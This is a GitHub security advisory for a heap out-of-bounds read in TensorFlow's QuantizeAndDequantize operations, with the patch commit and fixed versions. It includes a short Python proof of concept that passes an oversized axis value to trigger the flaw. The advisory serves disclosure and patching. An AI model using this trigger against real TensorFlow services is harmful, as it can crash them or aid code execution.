GitHub Security Advisory

TensorFlow has a heap out-of-buffer read vulnerability in the QuantizeAndDequantize operation

✓ GitHub Reviewed CRITICAL Has CVE

Advisory Details

### Impact
Attackers using Tensorflow can exploit the vulnerability. They can access heap memory which is not in the control of user, leading to a crash or RCE.
When axis is larger than the dim of input, c->Dim(input,axis) goes out of bound.
Same problem occurs in the QuantizeAndDequantizeV2/V3/V4/V4Grad operations too.
```python
import tensorflow as tf
@tf.function
def test():
tf.raw_ops.QuantizeAndDequantizeV2(input=[2.5],
input_min=[1.0],
input_max=[10.0],
signed_input=True,
num_bits=1,
range_given=True,
round_mode='HALF_TO_EVEN',
narrow_range=True,
axis=0x7fffffff)
test()
```

### Patches
We have patched the issue in GitHub commit [7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb](https://github.com/tensorflow/tensorflow/commit/7b174a0f2e40ff3f3aa957aecddfd5aaae35eccb).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1
